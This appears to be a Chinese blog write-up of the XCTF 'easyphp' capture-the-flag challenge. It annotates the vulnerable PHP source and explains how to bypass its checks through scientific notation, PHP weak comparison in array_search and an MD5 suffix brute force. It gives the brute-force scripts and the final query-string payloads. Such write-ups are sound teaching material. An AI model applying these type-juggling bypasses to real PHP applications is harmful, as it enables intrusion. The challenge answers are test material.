php特性(easyphp 攻防世界)

2022_11_12

知识点

科学计数法绕过

MD5碰撞

绕过is_numeric函数

绕过is_array函数

绕过array_search函数

代码分析

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

// intval() 函数用于获取变量的整数值。
// substr() 函数返回字符串的一部分。 substr(string,start,length)
// 如果 start 参数是负数- 在从字符串结尾开始的指定位置开始
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
	// a=1e9  科学计数法
	// b=53724
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

// json_decode(): 对 JSON 格式的字符串进行解码,转换为 PHP 变量
// {"a":1,"b":2,"c":3,"d":4,"e":5}  c的形式
$c=(array)json_decode(@$_GET['c']);
// is_numeric() 函数用于检测变量是否为数字或数字字符串。
// 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
//"m": 2023a,"n": 
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
	// count() 函数返回数组中元素的数目。
	// array_search() 函数在数组中搜索某个键值,并返回对应的键名。 array_search(value,array,strict)
	// "n": [[0],0]
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> 

重点

  • php的弱比较:原理:PHP语言中在涉及“==”判断时,如果运算符两边分别为字符串(不以数字开头的字符串),会将字符串转化为数字0,再进行比较。如果是以数字开头的字符串,那么它将会转化成开头的数字(即第一个字母前的所有数字)。

  • array_search 的绕过,相当于弱比较,直接赋值为 0,即可绕过。

  • MD5爆破

    # python
    import hashlib
    def get_md5(password):
        #1- 实例化加密对象
        md5 = hashlib.md5()
        #2- 进行加密操作
        md5.update(password.encode('utf-8'))
        #3- 返回加密后的结果
        return md5.hexdigest()
    for i in range(1,100000):
        md51=get_md5(str(i))
        if md51[-6:]=='8b184b':
            print(i)
    
    
    // php
    <?php
    
    for($i = 1;$i <= 100000;$i++){
        if('8b184b' === substr(md5($i),-6,6)){
            echo $i."<br>".md5($i);
        }
    }
    ?>
    

payload

?a=1e9&b=53724&c={"m":"2023a","n":[[0],0]}

?a=1e9&b=53724&c={"m":"2023a","n":[[0,1],0]}

a和c的值不固定

c中n数组的第一个可以只有一个值,也可以有多个值

参考文章

攻防世界web新手-easyphp_sean7777777的博客-CSDN博客

攻防世界web新手区easyphp题解writeup_weixin_46906325的博客-CSDN博客

攻防世界ctf web easyphp题解wp_中原第一高手的博客-CSDN博客_攻防世界 easyphp

posted @ 2022-11-12 20:38  konglong  阅读(72)  评论(0)    收藏  举报